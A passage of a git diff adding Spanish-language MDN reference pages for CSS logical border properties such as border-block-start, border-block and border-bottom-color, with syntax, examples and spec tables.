+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("41.0") }}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Disponible desde Gecko 38, pero bajo la preferencia <code>layout.css.vertical-text.enabled</code>, deshabilitada por defecto. La preferencia fue removida en Gecko 51 y esta propiedad no puede ser deshabilitada desde esta misma versión.</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>Las propiedades físicas mapeadas: {{cssxref("border-top")}}, {{cssxref("border-right")}}, {{cssxref("border-bottom")}}, y {{cssxref("border-left")}}</li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/es/web/css/border-block-start-color/index.html b/files/es/web/css/border-block-start-color/index.html
new file mode 100644
index 0000000000..393780221b
--- /dev/null
+++ b/files/es/web/css/border-block-start-color/index.html
@@ -0,0 +1,90 @@
+---
+title: border-block-start-color
+slug: Web/CSS/border-block-start-color
+translation_of: Web/CSS/border-block-start-color
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propiedad de <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a>  <strong><code>border-block-start-color</code></strong> define el color del borde lógico de bloque inicial de un elemento, que se asigna al color de borde físico dependen del modo de escritura, la direccionalidad y la orientación del texto del elemento. Esto corresponde a las propiedades {{cssxref("border-top-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-bottom-color")}}, o {{cssxref("border-left-color")}} dependiendo de los valores definidos por {{cssxref("writing-mode")}}, {{cssxref("direction")}}, y {{cssxref("text-orientation")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-block-start-color.html")}}</div>
+
+
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css no-line-numbers">border-block-start-color: blue;
+border-block-start-color: #4c5d21;
+</pre>
+
+<p>Propiedades relacionadas son {{cssxref("border-block-end-color")}}, {{cssxref("border-inline-start-color")}}, y {{cssxref("border-inline-end-color")}}, que definen los otros colores del borde del elemento.</p>
+
+<p>{{cssinfo}}</p>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;'color'&gt;</code></dt>
+ <dd>Mira {{ cssxref("border-color") }}</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Example text&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exampleText {
+  writing-mode: vertical-lr;
+  border: 10px solid blue;
+  border-block-start-color: red;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo", 140, 140)}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-block-start-color", "border-block-start-color")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición Inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.border-block-start-color")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>Esta propiedad se asigna a una de las propiedades del borde físico: {{cssxref("border-top-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-bottom-color")}}, o {{cssxref("border-left-color")}}.</li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/es/web/css/border-block-start-style/index.html b/files/es/web/css/border-block-start-style/index.html
new file mode 100644
index 0000000000..0fe32ca16a
--- /dev/null
+++ b/files/es/web/css/border-block-start-style/index.html
@@ -0,0 +1,92 @@
+---
+title: border-block-start-style
+slug: Web/CSS/border-block-start-style
+translation_of: Web/CSS/border-block-start-style
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propiedad de <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> <strong><code>border-block-start-style</code></strong> define el estilo del borde lógico de bloque inicial de un elemento, que se asigna al estilo de borde físicodependen del modo de escritura, la direccionalidad y la orientación del texto del elemento. Esto corresponde a las propiedades {{cssxref("border-top-style")}}, {{cssxref("border-right-style")}}, {{cssxref("border-bottom-style")}}, o {{cssxref("border-left-style")}} dependiendo de los valores definidos por{{cssxref("writing-mode")}}, {{cssxref("direction")}}, y {{cssxref("text-orientation")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-block-start-style.html")}}</div>
+
+
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;'border-style'&gt; values */
+border-block-start-style: dashed;
+border-block-start-style: dotted;
+border-block-start-style: groove;
+</pre>
+
+<p>Propiedades relacionadas son {{cssxref("border-block-end-style")}}, {{cssxref("border-inline-start-style")}}, y {{cssxref("border-inline-end-style")}}, que definen los otros estilos del borde del elemento.</p>
+
+<p>{{cssinfo}}</p>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;'border-style'&gt;</code></dt>
+ <dd>El estilo de la línea del borde. Mira {{ cssxref("border-style") }}.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Example text&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exampleText {
+  writing-mode: vertical-lr;
+  border: 5px solid blue;
+  border-block-start-style: dashed;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo", 140, 140)}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-block-start-style", "border-block-start-style")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición Inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.border-block-start-style")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>Esta propiedad se asigna a una de las propiedades del borde físico: {{cssxref("border-top-style")}}, {{cssxref("border-right-style")}}, {{cssxref("border-bottom-style")}}, o {{cssxref("border-left-style")}}.</li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/es/web/css/border-block-start-width/index.html b/files/es/web/css/border-block-start-width/index.html
new file mode 100644
index 0000000000..cdbdcc153a
--- /dev/null
+++ b/files/es/web/css/border-block-start-width/index.html
@@ -0,0 +1,91 @@
+---
+title: border-block-start-width
+slug: Web/CSS/border-block-start-width
+translation_of: Web/CSS/border-block-start-width
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propiedad de <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> <strong><code>border-block-start-width</code></strong> define el ancho del borde lógico de bloque inicial de un elemento, que se asigna al estilo de borde físico dependen del modo de escritura, la direccionalidad y la orientación del texto del elemento. Esto corresponde a las propiedades {{cssxref("border-top-width")}}, {{cssxref("border-right-width")}}, {{cssxref("border-bottom-width")}}, o {{cssxref("border-left-width")}} dependiendo de los valores definidos por {{cssxref("writing-mode")}}, {{cssxref("direction")}}, y {{cssxref("text-orientation")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-block-start-width.html")}}</div>
+
+
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;'border-width'&gt; values */
+border-block-start-width: 5px;
+border-block-start-width: thick;
+</pre>
+
+<p>Propiedades relacionadas son{{cssxref("border-block-end-width")}}, {{cssxref("border-inline-start-width")}}, y {{cssxref("border-inline-end-width")}}, que definen los otros anchos del borde del elemento.</p>
+
+<p>{{cssinfo}}</p>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;'border-width'&gt;</code></dt>
+ <dd>El ancho del borde. Mira {{ cssxref("border-width") }}.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Example text&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exampleText {
+  writing-mode: vertical-lr;
+  border: 1px solid blue;
+  border-block-start-width: 5px;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo", 140, 140)}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-block-start-width", "border-block-start-width")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición Inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.border-block-start-width")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>Esta propiedad se asigna a una de las propiedades del borde físico: {{cssxref("border-top-width")}}, {{cssxref("border-right-width")}}, {{cssxref("border-bottom-width")}}, y {{cssxref("border-left-width")}}</li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/es/web/css/border-block-start/index.html b/files/es/web/css/border-block-start/index.html
new file mode 100644
index 0000000000..89204dc8b1
--- /dev/null
+++ b/files/es/web/css/border-block-start/index.html
@@ -0,0 +1,98 @@
+---
+title: border-block-start
+slug: Web/CSS/border-block-start
+translation_of: Web/CSS/border-block-start
+---
+<p>{{CSSRef}}{{SeeCompatTable}}</p>
+
+<p>La propiedad de <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> <strong><code>border-block-start</code></strong> es una <a href="/en-US/docs/Web/CSS/Shorthand_properties">propiedad abreviada</a> para establecer los valores lógicos individuales del borde de bloque inicial en un solo lugar en la hoja de estilos.  </p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-block-start.html")}}</div>
+
+
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css  no-line-numbers">border-block-start: 1px;
+border-block-start: 2px dotted;
+border-block-start: medium dashed blue;
+</pre>
+
+<p><code>border-block-start</code> puede ser usado para establecer los valores de uno o más de {{cssxref("border-block-start-width")}}, {{cssxref("border-block-start-style")}}, y {{cssxref("border-block-start-color")}}. El borde físico al que se asigna depende del modo de escritura, la direccionalidad y la orientación del texto del elemento. Esto corresponde a las propiedades {{cssxref("border-top")}}, {{cssxref("border-right")}}, {{cssxref("border-bottom")}}, o {{cssxref("border-left")}} dependiendo de los valores definidos para {{cssxref("writing-mode")}}, {{cssxref("direction")}}, y {{cssxref("text-orientation")}}.</p>
+
+<p>Propiedades relacionadas son {{cssxref("border-block-end")}}, {{cssxref("border-inline-start")}}, y {{cssxref("border-inline-end")}}, que definen los otros bordes del elemento.</p>
+
+<p>{{cssinfo}}</p>
+
+<h3 id="Valores">Valores</h3>
+
+<p>El <code>border-block-start</code> es especificado con uno o más de los siguientes valores, en cualquier orden:</p>
+
+<dl>
+ <dt><code>&lt;'border-width'&gt;</code></dt>
+ <dd>El ancho del borde. Mira {{cssxref("border-width")}}.</dd>
+ <dt><code>&lt;'border-style'&gt;</code></dt>
+ <dd>El estilo de la línea del borde. Mira {{cssxref("border-style")}}.</dd>
+ <dt><code>&lt;'color'&gt;</code></dt>
+ <dd>El color del borde. Mira {{cssxref("color")}}.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Example text&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush:css  no-line-numbers">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exampleText {
+  writing-mode: vertical-rl;
+  border-block-start: 5px dashed blue;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo", 140, 140)}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-block-start", "border-block-start")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición Inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.border-block-start")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>Esta propiedad se asigna a una de las propiedades del borde físico: {{cssxref("border-top")}}, {{cssxref("border-right")}}, {{cssxref("border-bottom")}}, o {{cssxref("border-left")}}.</li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/es/web/css/border-block-style/index.html b/files/es/web/css/border-block-style/index.html
new file mode 100644
index 0000000000..f3a8cbadbf
--- /dev/null
+++ b/files/es/web/css/border-block-style/index.html
@@ -0,0 +1,90 @@
+---
+title: border-block-style
+slug: Web/CSS/border-block-style
+translation_of: Web/CSS/border-block-style
+---
+<div>{{CSSRef}}{{SeeCompatTable}} </div>
+
+<p>La propiedad de <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a><strong> <code>border-block-style</code></strong> <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> property defines the style of the logical block borders of an element, que se asigna al estilo de borde físico dependiendo del modo de escritura, la direccionalidad y la orientación del texto del elemento. Esto corresponde a las propiedades {{cssxref("border-top-style")}} y {{cssxref("border-bottom-style")}}, o {{cssxref("border-left-style")}}, y {{cssxref("border-right-style")}} dependiendo de los valores definidos por {{cssxref("writing-mode")}}, {{cssxref("direction")}}, y {{cssxref("text-orientation")}}.</p>
+
+<pre class="brush:css no-line-numbers">/* &lt;'border-style'&gt; values */
+border-block-style: dashed;
+border-block-style: dotted;
+border-block-style: groove;
+</pre>
+
+<p>El estilo del borde en otra dimensión puede establecerse con {{cssxref("border-inline-style")}}, que establece {{cssxref("border-inline-start-style")}}, y {{cssxref("border-inline-end-style")}}.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;'border-style'&gt;</code></dt>
+ <dd>La línea de estilo del borde. Mira {{ cssxref("border-style") }}.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Example text&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exampleText {
+  writing-mode: vertical-lr;
+  border: 5px solid blue;
+  border-block-style: dashed;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo", 140, 140)}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-block-style", "border-block-style")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.border-block-style")}}</p>
+
+<p> </p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>Esta propiedad se asigna a una de las propiedades del borde físico: {{cssxref("border-top-style")}}, {{cssxref("border-right-style")}}, {{cssxref("border-bottom-style")}}, o {{cssxref("border-left-style")}}.</li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/es/web/css/border-block-width/index.html b/files/es/web/css/border-block-width/index.html
new file mode 100644
index 0000000000..10c641ba39
--- /dev/null
+++ b/files/es/web/css/border-block-width/index.html
@@ -0,0 +1,87 @@
+---
+title: border-block-width
+slug: Web/CSS/border-block-width
+translation_of: Web/CSS/border-block-width
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propiedad de <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a>  <strong><code>border-block-width</code></strong> <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> property defines the width of the logical block borders of an element, que se asigna al estilo de borde físico dependiendo del modo de escritura, la direccionalidad y la orientación del texto del elemento. Esto corresponde a las propiedades {{cssxref("border-top-width")}} y {{cssxref("border-bottom-width")}}, o {{cssxref("border-left-width")}}, y {{cssxref("border-right-width")}} dependiendo de los valores definidos por {{cssxref("writing-mode")}}, {{cssxref("direction")}}, y {{cssxref("text-orientation")}}.</p>
+
+<pre class="brush:css no-line-numbers">/* &lt;'border-width'&gt; values */
+border-block-width: 5px;
+border-block-width: thick;
+</pre>
+
+<p>El ancho del borde en otra dimensión puede establecerse con {{cssxref("border-inline-width")}}, que establece {{cssxref("border-inline-start-width")}}, y {{cssxref("border-inline-end-width")}}.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;'border-width'&gt;</code></dt>
+ <dd>El ancho del borde. Mira {{ cssxref("border-width") }}.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Example text&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exampleText {
+  writing-mode: vertical-lr;
+  border: 1px solid blue;
+  border-block-width: 5px;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo", 140, 140)}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-block-width", "border-block-width")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.border-block-width")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>Esta propiedad se asigna a una de las propiedades del borde físico: {{cssxref("border-top-width")}}, {{cssxref("border-right-width")}}, {{cssxref("border-bottom-width")}}, y {{cssxref("border-left-width")}}</li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/es/web/css/border-block/index.html b/files/es/web/css/border-block/index.html
new file mode 100644
index 0000000000..f3159a7174
--- /dev/null
+++ b/files/es/web/css/border-block/index.html
@@ -0,0 +1,96 @@
+---
+title: border-block
+slug: Web/CSS/border-block
+translation_of: Web/CSS/border-block
+---
+<p>{{CSSRef}}{{SeeCompatTable}}</p>
+
+<p>La propiedad de <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> <strong><code>border-block</code></strong> es una <a href="/en-US/docs/Web/CSS/Shorthand_properties">propiedad abreviada</a> para establecer los valores lógicos individuales del borde de bloque en un solo lugar en la hoja de estilos. </p>
+
+<pre class="brush:css no-line-numbers">border-block: 1px;
+border-block: 2px dotted;
+border-block: medium dashed blue;
+</pre>
+
+<p><code>border-block</code> puede ser usada para establecer los valores de uno o más {{cssxref("border-block-width")}}, {{cssxref("border-block-style")}}, y {{cssxref("border-block-color")}} estableciendo tanto el inicio como el final en la dimensión del bloque a la vez. Los bordes físicos a los que se asigna dependen del modo de escritura, la direccionalidad y la orientación del texto del elemento. Corresponde a las propiedades {{cssxref ("border-top")}} y {{cssxref ("border-bottom")}} o {{cssxref ("border-right")}}, y {{cssxref ("border -left ")}} dependiendo de los valores definidos para {{cssxref (" modo de escritura ")}}, {{cssxref (" dirección ")}}, y {{cssxref (" orientación de texto ")}} .</p>
+
+<p>Los bordes en la otra dimensión se pueden establecer con {{cssxref ("border-inline")}}, que establece {{cssxref ("border-inline-start")}}, y {{cssxref ("border-inline- fin")}}.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<h3 id="Valores">Valores</h3>
+
+<p>El <code>border-block</code> es especificado con uno o más de los siguientes valores, en cualquier orden:</p>
+
+<dl>
+ <dt><code>&lt;'border-width'&gt;</code></dt>
+ <dd>El ancho del borde. Mirar {{cssxref("border-width")}}.</dd>
+ <dt><code>&lt;'border-style'&gt;</code></dt>
+ <dd>El estilo de la línea del borde. Mirar {{cssxref("border-style")}}.</dd>
+ <dt><code>&lt;'color'&gt;</code></dt>
+ <dd>El color del borde. Mirar {{cssxref("color")}}.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Example text&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exampleText {
+  writing-mode: vertical-rl;
+  border-block: 5px dashed blue;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo", 140, 140)}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-block", "border-block")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definition inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores </h2>
+
+<div class="hidden">
+<p>La tabla de compatibilidad en esta página se genera a partir de datos estructurados. Si desea contribuir con los datos, visite <a href="https://github.com/mdn/browser-compat-data" style="font-size: 1rem; letter-spacing: -0.00278rem;">https://github.com/mdn/browser-compat-data</a><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> y envíanos un pull request.</span></p>
+</div>
+
+<p>{{Compat("css.properties.border-block")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>Esta propiedad se asigna a una de las propiedades del borde físico: {{cssxref("border-top")}}, {{cssxref("border-right")}}, {{cssxref("border-bottom")}}, o {{cssxref("border-left")}}.</li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/es/web/css/border-bottom-color/index.html b/files/es/web/css/border-bottom-color/index.html
new file mode 100644
index 0000000000..b171eb2aca
--- /dev/null
+++ b/files/es/web/css/border-bottom-color/index.html
@@ -0,0 +1,117 @@
+---
+title: border-bottom-color
+slug: Web/CSS/border-bottom-color
+tags:
+  - CSS
+  - 'CSS:Referencias'
+  - Todas_las_Categorías
+translation_of: Web/CSS/border-bottom-color
+---
+<p>&lt;&lt; <a href="/es/Guía_de_referencia_de_CSS" title="es/Guía_de_referencia_de_CSS">Volver</a></p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>La propiedad <code>border-bottom-color</code> define el color del borde inferior de un elemento, con la ayuda de un valor de color o con la palabra clave <code>transparent</code>e.</p>
+
+<ul>
+ <li>{{ Cssxref("initial", "Valor inicial") }}: propiedad {{ Cssxref("color") }}</li>
+ <li>Se aplica a: todos los elementos</li>
+ <li>{{ Cssxref("inheritance", "Valor heredado") }}: non</li>
+ <li>Porcentajes: N/A</li>
+ <li>Medio : {{ Xref_cssvisual() }}</li>
+ <li>{{ Cssxref("computed value", "Valor calculado") }}: como se especifique o si proviene de la propiedad {{ Cssxref("color") }}, será el valor {{ Cssxref("color") }}.</li>
+</ul>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval">border-bottom-color: <em>couleur</em> | transparent | inherit
+</pre>
+
+<h3 id="Valores" name="Valores">Valores</h3>
+
+<dl>
+ <dt>color </dt>
+ <dd>puede especificarse por un valor RGB hexa-decimal o regular o por una palabra clave predefinida (<em>azul</em>).</dd>
+</dl>
+
+<dl>
+ <dt>transparent </dt>
+ <dd>el elemento no tiene color propio, muestra el color del elemento atrás suyo en el árbol de apilado.</dd>
+</dl>
+
+<h3 id="Propiedades_relacionadas" name="Propiedades_relacionadas">Propiedades relacionadas</h3>
+
+<ul>
+ <li>{{ Cssxref("border-color") }}</li>
+ <li>{{ Cssxref("border-left-color") }}</li>
+ <li>{{ Cssxref("border-right-color") }}</li>
+ <li>{{ Cssxref("border-top-color") }}</li>
+</ul>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<p><a href="/samples/cssref/border.html">Ver El Ejemplo Vivo</a></p>
+
+<pre class="eval">element {
+	width: 300px;
+        padding: 15px;
+        border-bottom-size: 1px;
+        border-bottom-style: solid;
+        border-bottom-color: #000;
+}
+</pre>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<ul>
+ <li><a class="external" href="http://html-color-codes.com/">Color Chart by VisiBone (en)</a></li>
+ <li><a class="external" href="http://www.yoyodesign.org/outils/ncolor/ncolor.php?langue=fr">Sélecteur de couleur, chez yoyodesign (fr)</a></li>
+</ul>
+
+<h3 id="Especificaciones" name="Especificaciones">Especificaciones</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/box.html#propdef-border-bottom-color">CSS 2.1 (en)</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/css3-background/#border-bottom">CSS 3 (en)</a></li>
+</ul>
+
+<h3 id="Compatibilidades" name="Compatibilidades">Compatibilidades</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Navegador</th>
+   <th>Versión mínima</th>
+  </tr>
+  <tr>
+   <td>Internet Explorer</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>Firefox</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>Netscape</td>
+   <td>6</td>
+  </tr>
+  <tr>
+   <td>Opera</td>
+   <td>3.5</td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<h3 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h3>
+
+<p>{{ Cssxref("border-bottom") }}, {{ Cssxref("border-color") }}, {{ Cssxref("border-bottom-style") }}, {{ Cssxref("border-bottom-width") }}</p>
+
+<div class="noinclude">
+<p><span class="comment">Categorías</span></p>
+
